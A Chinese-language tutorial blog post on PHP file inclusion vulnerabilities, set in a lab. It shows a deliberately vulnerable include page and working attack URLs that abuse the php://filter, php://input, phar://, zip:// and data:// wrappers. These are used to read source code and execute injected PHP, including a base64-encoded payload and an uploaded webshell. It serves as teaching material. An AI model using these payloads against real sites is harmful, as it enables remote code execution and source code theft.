• 文件包含漏洞(2), 伪协议, php://filter, php://input


    伪协议利用

    条件:

    php.ini配置文件中 allow_url_fopen=On 是开启状态.

    测试文件:
    http://192.168.112.200/security/fileinc.php

    
    $filename = $_GET['filename'];
    // 或include_once, require, require_once
    include $filename;    
    echo "
    欢迎来到PHP的世界.
    "
    ; ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

    1. php://filter

    功能: 读取php脚本的内容并编码

    文件包含php代码后, 会自动被web引擎解释执行, 如果想查看源码而不是执行, 则可以使用这个协议.
    读取common.php的源码, 并用base64编码显示. 通过base64解码即可得到php代码.

    http://192.168.112.200/security/fileinc.php?
    filename=php://filter/read/convert.base64-encode/resource=common.php
    
    • 1
    • 2
    2. php://input

    功能: 将post提交的代码作为输入

    条件: allow_url_include=On 已经开启

    通过post提交代码来执行.

    http://192.168.112.200/security/fileinc.php?filename=php://input
    
    • 1

    post data:

    <?php phpinfo(); ?>
    
    • 1
    3. phar://

    功能: phar用于对压缩文件的读取, 配合文件上传漏洞, 或phar反序列化漏洞.

    把一句话木马文件压缩成zip格式, 上传到服务器(服务器没有限制zip上传).
    通过该phar可以直接访问zip内的txt文件.

    mm.txt -> mm.zip

    http://192.168.112.200/security/fileinc.php?filename=phar://test/mm.zip/mm.txt
    
    • 1
    4. zip://

    与phar功能相同, 但是不能读取包含多级目录的压缩包.

    5. data://

    与input功能类似, 但是发送GET请求.

    http://192.168.112.200/security/fileinc.php?filename=data://text/plain,<?php phpinfo(); ?>
    
    • 1

    也可以发送base64编码后的代码

    http://192.168.112.200/security/fileinc.php
    ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    
    • 1
    • 2
  • 相关阅读:
    车载双向认证框架设计
    数据结构——堆排序(C语言)
    Linux环境基础开发工具使用(上)
    枚举最大值+ds:1887D
    【廉颇老矣,尚能饭否】传统的数据仓库是否还能发挥作用?
    初识Cpp之 六、内存分配
    K8S之调度约束+故障排查
    RLChina2022暑期学习-博弈论基础
    你的代码会说话吗?(上)
    利用STM32CubeMX软件生成FATFS + USB_HOST + USB_OTG_HS
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134031938